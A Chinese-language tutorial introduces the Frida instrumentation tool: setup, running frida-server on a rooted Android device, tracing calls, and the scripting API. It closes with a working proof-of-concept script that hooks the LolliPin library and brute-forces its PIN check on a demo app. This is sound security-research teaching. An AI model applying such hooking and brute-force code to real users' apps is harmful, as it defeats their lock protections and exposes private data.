Frida-跨平臺注入工具基礎篇

wyzsk發表於2020-08-19

作者：瘦蛟舞 · 2015/04/14 9:15

0x00 功能介紹

官方主頁

github

Inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and Android.

Hooking Functions
Modifying Function Arguments
Calling Functions
Sending messages from a target process
Handling runtime errors from JavaScript
Receiving messages in a target process
Blocking receives in the target process
....

類似工具:Substrate/Xposed/indroid/adbi.

優勢:結合python和JavaScript開發更快捷.

0x01 Setting up your PC

python環境+setuptools

#!bash
sudo easy_install frida

可選:原始碼編譯

#!bash
$ git clone git://github.com/frida/frida.git
$ cd frida
$ make

0x02 Testing your installation

建立一個程式用於注入:

#!bash
$ cat

新建注入指令碼example.py:

#!python
import frida
session = frida.attach("cat")
print([x.name for x in session.enumerate_modules()])

linux環境下需要執行如下命令:

#!bash
$ sudo sysctl kernel.yama.ptrace_scope=0

用於開啟非子程式的ptracing.

執行frida指令碼,觀察:

#!bash
$ python example.py

輸出結果類似如下,程式碼環境正常安裝成功:

[u'cat', …, u'ld-2.15.so']

0x03 Setting up your Android device

首先下載android版frida-server:

#!bash
$ curl -O http://build.frida.re/frida/android/arm/bin/frida-server
$ chmod +x frida-server

下一步部署到android裝置上:

#!bash
$ adb push frida-server /data/local/tmp/

0x04 Spin up Frida

裝置上執行frida-server:

#!bash  
$ adb shell 
[email protected]:/ # chmod 700 frida-server  
$ adb shell 
[email protected]:/ # /data/local/tmp/frida-server -t 0 (注意在root下執行)

電腦上執行adb forward tcp轉發:

#!bash
adb forward tcp:27042 tcp:27042
adb forward tcp:27043 tcp:27043

27042埠用於與frida-server通訊,之後的每個埠對應每個注入的程式.

執行如下命令驗證是否成功安裝:

#!bash
$ frida-ps -R

正常情況應該輸出程式列表如下:

PID NAME
 1590 com.facebook.katana
13194 com.facebook.katana:providers
12326 com.facebook.orca
13282 com.twitter.android
…

0x05 Tracing open() calls in Chrome

裝置上開啟chrome瀏覽器然後在pc執行如下命令:

#!bash 
$ frida-trace -R -i open com.android.chrome 
Uploading data... 
open: Auto-generated handler …/linker/open.js 
open: Auto-generated handler …/libc.so/open.js 
Started tracing 2 functions. 
Press ENTER to stop.

開始使用chrome app然後會發現open()呼叫輸出如下:

1392 ms open()
1403 ms open()
1420 ms open()

現在可以實時編輯的上述JS程式碼來呼叫你的Android應用

0x06 Building your own tools

frida提供的幾個工具frida-trace, frida-repl...絕逼非常有用,建議閱讀Functions 和 Messages章節來了解Frida APIs,

首先,使用frida的API attach上需要注入的app

#!python
session = frida.get_remote_device().attach("com.mahh.secretsafe")

session物件允許你獲取資訊,同時也可以操作目標程式.比如,可以呼叫enumerate_modules()方法來獲取程式中載入模組的host資訊.

#!python
>>> print session.enumerate_modules()
[Module(name="app_process", base_address=0x40096000, size=8192, path="/system/bin/app_process"), Module(name="linker", base_address=0x4009a000, size=61440, path="/system/bin/linker"), Module(name="libcutils.so", base_address=0x400b0000, size=36864, path="/system/lib/libcutils.so"), Module(name="liblog.so", base_address=0x400bb000, size=12288, path="/system/lib/liblog.so"), Module(name="libc.so", base_address=0x400c0000, size=53248, path="/system/lib/libc.so"), Module(name="libstdc++.so", base_address=0x4011b000, size=4096, path="/system/lib/libstdc++.so"), Module(name="libm.so", base_address=0x4011e000, size=98304, path="/system/lib/libm.so")

然後使用Javascript API,透過session的create_script()方法放入JavaScript程式碼塊.JavaScript API可以用來插樁目標app的類.在這個API中有些針對android的例子,下面是一些簡單的案例:

取得一個類的js封裝:

#!python
Dalvik.perform(function () {
    var MyClass = Dalvik.use("com.mdsec.MyClass");
});

如果類的構造方法有一個String物件的引數,應該用如下方式建立類的例項:

#!javascript
var MyClass = Dalvik.use("com.mdsec.MyClass");
var MyClassInstance = MyClass.$new(“MySecretString”);

只需要加上對應的引數就可以呼叫剛才新建例項的方法.例如,呼叫MyClass類的MyMethod方法:

#!javascript
var result = MyClassInstance.MyMethod();

如果想替換MyMethod方法的實現來return false,使用如下程式碼:

#!javascript
MyClass.MyMethod.implementation = function()
{
            return false;
};

Android Context(上下文)用於獲取對應app相關資訊以及其執行環境.所以其被廣泛用於app中,需要找一種方法來訪問他.獲取Android Context如下程式碼非常有效:

#!javascript
var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication(); 
var context = currentApplication.getApplicationContext();

接下來需要用到上文中提到的create_script()方法用於註冊這段js程式碼到app session中.

#!python
script = session.create_script(jscode)

為了接收從Python session中JavaScript程式碼返回的資料,還需要註冊一個message handler.註冊一個message handler先要建立方法:

#!python
def on_message(message, data):
print message

然後透過呼叫on()方法註冊event handler:

#!python
script.on('message', on_message)

可以透過JS方法send()給message handler傳送訊息.例如,使用如下程式碼講Context物件傳送給Python客戶端:

#!python
Dalvik.perform(function () {
    var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication();
    var context = currentApplication.getApplicationContext();
    send(context);
});

結果會返回app的context物件的地址:

{u'type': u'send', u'payload': {u'$handle': u'0x1d50079a', u'$classHandle': u'0x1d5007e6', u'$weakRef': 20}}

現在已經掌握frida的基礎知識,現在可以實戰演練如何破解LolliPin鎖屏庫.我們建立一個使用LolliPin的app截圖如下:

PIN碼生效後,可以使用插樁暴力破擊.要達到這個目的首先要了解pin碼驗證是如何實現的.AppLockImpl類中驗證方法如下:

現在我們們忽略LolliPin的其他漏洞,就搞PIN碼的暴露破解,這是客戶端認證透過都會受到的分析.

可以建立一個AppLockImpl的例項,但是為了節約記憶體我們直接呼叫已有的.分析發現AppLockImpl被呼叫在LockManager的getAppLock()中,這個就僅僅返回了AppLock物件.而AppLock是抽象類AppLockImpl的具現.

LockManager有一個幫助方法用於返回自己的例項.

結合上面的分析,我們們可以透過LockManager.getInstance()得到LockManager的例項,再呼叫getAppLock()得到AppLock.最後就可以呼叫AppLock的 checkPasscode()方法了.

#!javascript
var LockManager = Dalvik.use("com.github.orangegangsters.lollipin.lib.managers.LockManager");
var LockManagerInstance = LockManager.getInstance();
var AppLock = LockManagerInstance.getAppLock();

透過for迴圈呼叫checkPasscode()來達到暴力破解的目的:

#!javascript
for(var i=1230; i<1235; i++)
{
    var result = AppLock.checkPasscode(i+"");
    send(i + ": " + result);
}

此迴圈將嘗試1230到1235的pin碼(已知PIN為1234...),最後利用空字串將pin碼連線起來做個強制轉換再列印出來.執行指令碼效果如下:

[*] Bruteforcing PIN code
[*] Testing PIN 1230: false
[*] Testing PIN 1231: false
[*] Testing PIN 1232: false
[*] Testing PIN 1233: false
[*] Testing PIN 1234: true

最後完整的frida程式碼塊如下:

#!python
# LolliPin bruteforce proof of concept
# Author: Dominic Chell - @domchell

import frida,sys

def print_result(message):
            print "[*] Testing PIN %s" %(message)

def on_message(message, data):
            print_result(message['payload'])

jscode = """

Dalvik.perform(function () {

    var LockManager = Dalvik.use("com.github.orangegangsters.lollipin.lib.managers.LockManager");
    var LockManagerInstance = LockManager.getInstance();
    var AppLock = LockManagerInstance.getAppLock();

    for(var i=1230; i<1235; i++)
    {
            var result = AppLock.checkPasscode(i+"");
        send(i + ": " + result);
    }
});
"""

process = frida.get_device_manager().enumerate_devices()[-1].attach("com.mahh.secretsafe")
session = process.session

script = session.create_script(jscode)
script.on('message', on_message)

print "[*] Bruteforcing PIN code"

script.load()
sys.stdin.read()